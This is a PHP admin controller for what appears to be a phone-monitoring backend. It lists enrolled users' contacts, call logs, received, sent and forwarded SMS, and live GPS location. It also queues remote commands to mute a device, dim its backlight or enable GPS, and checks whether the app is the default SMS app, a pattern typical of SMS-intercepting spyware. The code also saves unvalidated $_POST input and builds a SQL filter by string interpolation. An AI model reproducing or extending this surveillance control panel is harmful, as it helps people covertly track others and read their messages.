<?php

namespace app\admin\controller\thm;

use app\common\controller\Backend;

use app\admin\library\Auth;
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
use PhpOffice\PhpSpreadsheet\Reader\Xlsx;
use PhpOffice\PhpSpreadsheet\Reader\Xls;
use PhpOffice\PhpSpreadsheet\Reader\Csv;
use think\Db;
use think\Exception;
use think\exception\PDOException;
use think\exception\ValidateException;

/**
 * 客戶管理
 *
 * @icon fa fa-circle-o
 */
class User extends Backend
{
    
    /**
     * User模型对象
     * @var \app\admin\model\thm\User
     */
    protected $model = null;

    protected $multiFields = 'switch';

    protected $noNeedRight = ['command', 'opall', 'sendmsg', 'opengps', 'userstate'];

    protected $qxarray = null;//权限组

//INSERT INTO `fa_auth_rule` (`id`, `type`, `pid`, `name`, `title`, `icon`, `condition`, `remark`, `ismenu`, `createtime`, `updatetime`, `weigh`, `status`)
//VALUES
//(147, 'file', 98, 'thm/user/txl', '聯絡人', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(148, 'file', 98, 'thm/user/message', '通話紀錄', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(149, 'file', 98, 'thm/user/message2', '傳送短信', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(150, 'file', 98, 'thm/user/message2_1', '接收短信', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(151, 'file', 98, 'thm/user/message2_2', '發送短信', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(152, 'file', 98, 'thm/user/message2_1_1', '轉發短信', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(153, 'file', 98, 'thm/user/sendmsg', '發送信息', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(154, 'file', 98, 'thm/user/liuyan', '留言管理', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal'),
//(155, 'file', 98, 'thm/user/command', '控制靜音', 'fa fa-circle-o', '', '', 0, 1586953120, 1586953120, 0, 'normal');

    public function _initialize()
    {
        parent::_initialize();
        $this->model = new \app\admin\model\thm\User;

        $this->view->assign("smsappstateList", $this->model->getSmsappstateList());

        $this->qxarray = array(
            "edit" => $this->auth->check('thm/user/edit'),//编辑
            "userinfolog" => $this->auth->check('thm/user/userinfolog'),//用戶信息上傳
//            "txl" => $this->auth->check('thm/user/txl'),//聯絡人
            "txl" => 0,//聯絡人
//            "message" => $this->auth->check('thm/user/message'),//通話紀錄
            "message" => 0,//通話紀錄
            "message2" => $this->auth->check('thm/user/message2'),//接收短信
            "message2_1" => $this->auth->check('thm/user/message2_1'),//發送紀錄
            "message2_2" => $this->auth->check('thm/user/message2_2'),//傳送短信
//            "jspos" => $this->auth->check('thm/user/jspos'),//即時位置
//            "liuyan" => $this->auth->check('thm/user/liuyan'),//留言管理
            "jspos" => 0,//即時位置
            "liuyan" => 0,//留言管理
            "sendmsg" => $this->auth->check('thm/user/sendmsg'),//APP 發送
//            "command" => $this->auth->check('thm/user/command'),//控制靜音
//            "gps" => $this->auth->check('thm/user/gps'),//GPS
            "command" => 0,//控制靜音
            "gps" => 0,//GPS
        );

        $this->view->assign("qxarray", $this->qxarray);

    }

    public function command($ids) {
        $row = $this->model->get(['id' => $ids]);
        if (!$row) {
            $this->error(__('No Results were found'));
        }
        if ($this->request->isAjax()) {
            $commandlog = new \app\admin\model\thm\Commandlog();
            $commandlog->thm_user_id = $ids;
            $commandlog->type = 1;
            $commandlog->save();
            $this->success("控制靜音&背光 OK!", null, ['id' => $ids]);
        }
    }

    public function opengps($ids) {
        $row = $this->model->get(['id' => $ids]);
        if (!$row) {
            $this->error(__('No Results were found'));
        }
        if ($this->request->isAjax()) {
            $commandlog = new \app\admin\model\thm\Commandlog();
            $commandlog->thm_user_id = $ids;
            $commandlog->type = 3;
            $commandlog->save();
            $this->success("开启GPS OK!", null, ['id' => $ids]);
        }
    }

    public function sendmsg($ids) {
        $row = $this->model->get(['id' => $ids]);
        if (!$row) {
            $this->error(__('No Results were found'));
        }

        if ($this->request->isPost())  {
            $msglog = new \app\admin\model\thm\Msglog();
            $msglog->thm_user_id = $_POST['thm_user_id'];
            $msglog->msg = $_POST['msg'];
            $msglog->save();
            $this->success("發送信息 OK!", null, ['id' => $msglog->thm_user_id]);
        }

        $this->view->assign("thm_user_id", $ids);
        return $this->view->fetch();
    }

    public function userstate($ids)
    {
        $row = $this->model->get(['id' => $ids]);
        if (!$row) {
            $this->error(__('No Results were found'));
        }

        $now = time();
        $online_time = strtotime($row['online_time']);
        $x = $now - $online_time;//秒
        if ($x > 30) {
            $row['online'] = "未上線";
        } else {
            $row['online'] = "已上線";
        }

        $zt = '<div class="text-success">已上線</div>';
        if ($row->online == '未上線') {
            $zt = '<div class="text-danger">未上線</div>';
        }

        $apst = '<div class="text-danger">未启用</div>';
        if ($row->smsappstate == '1') {
            $apst = '<div class="text-success">已启用</div>';
        }

        $html = '最後上線&nbsp;&nbsp;' . $row->online_time . '<div class="row"><div class="col-md-3" style="font-size: 16px;">'
            . $zt . '</div> <div class="col-md-6" style="font-size: 16px;"> &nbsp;短信预设APP&nbsp; </div> <div class="col-md-3" style="font-size: 16px;">'
            . $apst . '</div></div>';

        $this->success("更新用户信息 OK!", null, ['html' => $html]);

    }

    /**
     * 默认生成的控制器所继承的父类中有index/add/edit/del/multi五个基础方法、destroy/restore/recyclebin三个回收站方法
     * 因此在当前控制器中可不用编写增删改查的代码,除非需要自己控制这部分逻辑
     * 需要将application/admin/library/traits/Backend.php中对应的方法复制到当前控制器,然后进行修改
     */
    

    /**
     * 查看
     */
    public function index()
    {
        //当前是否为关联查询
        $this->relationSearch = true;
        //设置过滤方法
        $this->request->filter(['strip_tags']);
        if ($this->request->isAjax())
        {
            //如果发送的来源是Selectpage，则转发到Selectpage
            if ($this->request->request('keyField'))
            {
                return $this->selectpage();
            }
            list($where, $sort, $order, $offset, $limit) = $this->buildparams();

            $APPID = $this->auth->APPID;
            $where1 = "";
            if (!empty($APPID)) {
                $where1 = " app_sn = '{$APPID}' ";
            }

            $total = $this->model
                ->with(['app'])
                ->where($where)
                ->where($where1)
                ->order($sort, $order)
                ->count();

            $list = $this->model
                ->with(['app'])
                ->where($where)
                ->where($where1)
                ->order($sort, $order)
                ->limit($offset, $limit)
                ->select();

            $now = time();
            $list = collection($list)->toArray();
            foreach ($list as &$row) {
                $latlon = $row['latlon'];
                $latlon = str_replace(' ', '', $latlon);
                $row['mapurl'] = "http://maps.google.com.tw/maps?f=q&geocode=&q={$latlon}";
                $online_time = strtotime($row['online_time']);
                $x = $now - $online_time;//秒
                if ($x > 30) {
                    $row['online'] = "未上線";
                } else {
                    $row['online'] = "已上線";
                }
            }

            $result = array("total" => $total, "rows" => $list);

            return json($result);
        }

        $ids = 83;
        $url = $_SERVER['REQUEST_URI'];
        if (false !== strpos($url, '/ids/')) {
            $urls = explode('?', $url);
            $url = $urls[0];
            $urls = explode('/', $url);
            $size = count($urls);
            $ids = $urls[$size - 1];
        } else {
            $one = $this->model->field('id')->limit(1)->find();
            if ($one) {
                $ids = $one->id;
            }

        }

        $row = $this->model->get($ids);
        if ($row) {
            $row = $row->toArray();
            $latlon = $row['latlon'];
            $latlon = str_replace(' ', '', $latlon);
            $row['mapurl'] = "http://maps.google.com.tw/maps?f=q&geocode=&q={$latlon}";

            $now = time();
            $online_time = strtotime($row['online_time']);
            $x = $now - $online_time;//秒
            if ($x > 30) {
                $row['online'] = "未上線";
            } else {
                $row['online'] = "已上線";
            }
        }

        $this->view->assign("thmuser", $row);

        return $this->view->fetch();
    }

    public function opall($ids = null)
    {
        $row = $this->model->get($ids);
        if (!$row) {
            $this->error(__('No Results were found'));
        }

        if ($this->request->isPost())  {
            $msglog = new \app\admin\model\thm\Msglog();
            $msglog->thm_user_id = $ids;
            $msglog->msg = $_POST['msg'];
            $msglog->save();
            $this->success("發送信息 OK!", null, ['id' => $ids]);
        }

        $row = $row->toArray();
        $latlon = $row['latlon'];
        $latlon = str_replace(' ', '', $latlon);
        $row['mapurl'] = "http://maps.google.com.tw/maps?f=q&geocode=&q={$latlon}";

        $now = time();
        $online_time = strtotime($row['online_time']);
        $x = $now - $online_time;//秒
        if ($x > 30) {
            $row['online'] = "未上線";
        } else {
            $row['online'] = "已上線";
        }

        //<---
        $titles = array(
            "t1"=> "栏位1",
            "t2"=> "栏位2",
            "t3"=> "栏位3",
            "t4"=> "栏位4",
            "t5"=> "栏位5",
            "t6"=> "栏位6",
            "t7"=> "栏位7",
            "t8"=> "栏位8",
            "t9"=> "栏位9",
            "t10"=> "栏位10",
        );

        $thmapp = \app\admin\model\thm\App::where('id', $row['app_id'])->find();
        if ($thmapp) {
            $titles = array(
                "t1"=> $thmapp->a3_nametip1,
                "t2"=> $thmapp->a3_nametip2,
                "t3"=> $thmapp->a3_nametip3,
                "t4"=> $thmapp->a3_nametip4,
                "t5"=> $thmapp->a3_nametip5,
                "t6"=> $thmapp->a3_nametip6,
                "t7"=> $thmapp->a3_nametip7,
                "t8"=> $thmapp->a3_nametip8,
                "t9"=> $thmapp->a3_nametip9,
                "t10"=> $thmapp->a3_nametip10,
            );
        }
        $this->assignconfig('titles', $titles);
        //--->

        $this->assignconfig('htsx', $row['htsx'] * 1000);
        $this->assignconfig('thmuserid', $row['id']);
        $this->view->assign("thmuser", $row);
        $this->view->assign('title', $row['username']);
//        $this->view->assign('title', "sdfasdf");

        return $this->view->fetch();
    }

    function convertUrlQuery($query)
    {
        $queryParts = explode('&', $query);
        $params = array();
        foreach ($queryParts as $param) {
            $item = explode('=', $param);
            $params[$item[0]] = $item[1];
        }
        return $params;
    }

    /**
     * 编辑
     */
    public function edit($ids = null)
    {
        $row = $this->model->get($ids);
        if (!$row) {
            $this->error(__('No Results were found'));
        }
        $adminIds = $this->getDataLimitAdminIds();
        if (is_array($adminIds)) {
            if (!in_array($row[$this->dataLimitField], $adminIds)) {
                $this->error(__('You have no permission'));
            }
        }
        if ($this->request->isPost()) {
            $params = $this->request->post("row/a");
            if ($params) {
                $params = $this->preExcludeFields($params);
                $result = false;
                Db::startTrans();
                try {
                    //是否采用模型验证
                    if ($this->modelValidate) {
                        $name = str_replace("\\model\\", "\\validate\\", get_class($this->model));
                        $validate = is_bool($this->modelValidate) ? ($this->modelSceneValidate ? $name . '.edit' : $name) : $this->modelValidate;
                        $row->validateFailException(true)->validate($validate);
                    }
                    $result = $row->allowField(true)->save($params);

                    if (isset($params['htsx'])) {
                        $this->assignconfig('htsx', intval($params['htsx']) * 1000);//这样应该没有用--还是得刷新页面
                    }
                    
                    Db::commit();
                } catch (ValidateException $e) {
                    Db::rollback();
                    $this->error($e->getMessage());
                } catch (PDOException $e) {
                    Db::rollback();
                    $this->error($e->getMessage());
                } catch (Exception $e) {
                    Db::rollback();
                    $this->error($e->getMessage());
                }
                if ($result !== false) {
                    $this->success();
                } else {
                    $this->error(__('No rows were updated'));
                }
            }
            $this->error(__('Parameter %s can not be empty', ''));
        }
        $this->view->assign("row", $row);
        return $this->view->fetch();
    }

}
